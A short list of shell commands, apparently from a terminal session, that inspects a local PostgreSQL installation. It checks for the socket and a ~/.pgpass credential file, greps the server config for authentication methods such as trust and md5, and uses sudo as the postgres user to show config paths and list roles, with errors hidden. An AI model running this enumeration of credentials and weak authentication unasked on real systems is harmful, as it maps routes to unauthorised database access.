ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null

rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
sudo -u postgres psql -c '\du' 2>/dev/null